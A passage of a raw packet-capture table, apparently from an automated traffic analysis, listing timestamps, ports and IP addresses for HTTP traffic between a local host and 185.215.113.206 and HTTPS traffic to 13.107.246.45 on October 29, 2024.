Oct 29, 2024 15:27:21.072782040 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.072796106 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.072865009 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.072865009 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.072952032 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.072963953 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.072976112 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.073002100 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.073044062 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.073044062 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.073684931 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.073741913 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.073755026 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.073756933 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.073808908 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.073808908 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.073858976 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.073920965 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.074223042 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.074289083 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.074307919 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.074325085 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.074364901 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.074397087 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.074776888 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.074789047 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.074800014 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.074810982 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.074825048 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.074843884 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.074881077 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.075330019 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.075341940 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.075402021 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.075567961 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.075579882 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.075594902 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.075633049 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.075663090 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.118021965 CET	443	49763	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.118716955 CET	49763	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.118741989 CET	443	49763	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.119275093 CET	49763	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.119280100 CET	443	49763	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.148808956 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.149336100 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.149354935 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.149518967 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.150093079 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.150104046 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.150275946 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.150289059 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.150773048 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.150779963 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.189563036 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.189572096 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.189587116 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.189694881 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.189702034 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.189711094 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.189718962 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.189726114 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.189862967 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.189927101 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.189927101 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.189995050 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.190009117 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.190021038 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.190104961 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.190110922 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.190141916 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.190141916 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.190159082 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.190552950 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.190591097 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.190598965 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.190613985 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.190653086 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.190665960 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.190673113 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.190685034 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.190732002 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.190757036 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.190804005 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.191078901 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.191270113 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.191565990 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.191581011 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.191873074 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.191893101 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.192250967 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.192256927 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.192456007 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.192467928 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.225895882 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.225905895 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.226032019 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.226032019 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.226097107 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.226106882 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.226113081 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.226150990 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.226193905 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.226201057 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.226239920 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.226246119 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.226247072 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.226283073 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.226317883 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.248960972 CET	443	49763	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.249037981 CET	443	49763	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.249234915 CET	49763	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.249562979 CET	49763	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.249587059 CET	443	49763	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.249603987 CET	49763	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.249608994 CET	443	49763	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.269284010 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.269311905 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.269385099 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.269646883 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.269658089 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.280003071 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.280081987 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.280184031 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.280455112 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.280486107 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.280529022 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.280546904 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.282495022 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.282552958 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.282612085 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.282742977 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.282757044 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.282769918 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.282776117 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.284352064 CET	49769	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.284388065 CET	443	49769	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.284487009 CET	49769	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.284703970 CET	49769	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.284718990 CET	443	49769	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.285686016 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.285703897 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.285808086 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.285932064 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.285943985 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.306174040 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.306272030 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.306304932 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.306315899 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.306322098 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.306341887 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.306354046 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.306363106 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.306369066 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.306377888 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.306384087 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.306395054 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.306442976 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.306796074 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.306868076 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.307179928 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307192087 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307251930 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.307295084 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307305098 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307322979 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307374954 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.307512999 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307573080 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307585001 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307586908 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.307625055 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.307656050 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.307671070 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307678938 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307692051 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307698011 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307743073 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.307769060 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.307789087 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.307826996 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.320383072 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.320653915 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.320713043 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.320756912 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.320765018 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.320789099 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.320794106 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.323487997 CET	49771	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.323508024 CET	443	49771	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.323596001 CET	49771	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.323729992 CET	49771	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.323745012 CET	443	49771	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.342932940 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.342943907 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.342951059 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.342982054 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.342988968 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.343003035 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.343019962 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.343085051 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.343450069 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.343497992 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.343503952 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.343518972 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.343523979 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.343535900 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.343566895 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.343600035 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.355650902 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.355726957 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.355776072 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.355923891 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.355930090 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.355951071 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.355956078 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.358617067 CET	49772	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.358652115 CET	443	49772	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.358741999 CET	49772	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.358947039 CET	49772	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:21.358961105 CET	443	49772	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:21.423927069 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424031973 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.424062014 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424071074 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424084902 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424091101 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424097061 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424104929 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424145937 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.424173117 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424180984 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424197912 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.424230099 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.424309015 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424380064 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.424407005 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424415112 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424468994 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.424480915 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424490929 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424498081 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424504995 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424546957 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.424588919 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.424623966 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424633980 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.424688101 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.425237894 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.425301075 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.425338030 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.425404072 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.460969925 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.460979939 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.460992098 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.461085081 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.461112976 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.461119890 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.461273909 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.461466074 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.461472988 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.461484909 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.461488962 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.461500883 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.461541891 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.461575031 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.461616993 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.461714029 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.462263107 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.462277889 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.462282896 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.462328911 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.462363005 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.540757895 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.540767908 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.540781021 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.540846109 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.540916920 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.540925026 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.540931940 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.540939093 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.540945053 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.540957928 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.540982962 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.540987968 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.541008949 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.541038990 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.541076899 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.541084051 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.541135073 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.541430950 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.541445971 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.541457891 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.541462898 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.541471004 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.541476011 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.541484118 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.541491032 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.541515112 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.541584015 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.541765928 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.541826963 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.576881886 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.576903105 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.576915979 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.576983929 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.577125072 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.577131033 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.577147007 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.577152014 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.577163935 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.577191114 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.577200890 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.577225924 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.577231884 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.577270985 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.577305079 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.577383041 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.577397108 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.577471018 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.657028913 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.657040119 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.657048941 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.657103062 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.657119036 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.657160044 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.657195091 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.657202959 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.657241106 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.657255888 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.657288074 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.657342911 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.657342911 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.657521963 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.657531023 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.657541990 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.657593966 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.657938004 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.657944918 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.657957077 CET	80	49742	185.215.113.206	192.168.2.6
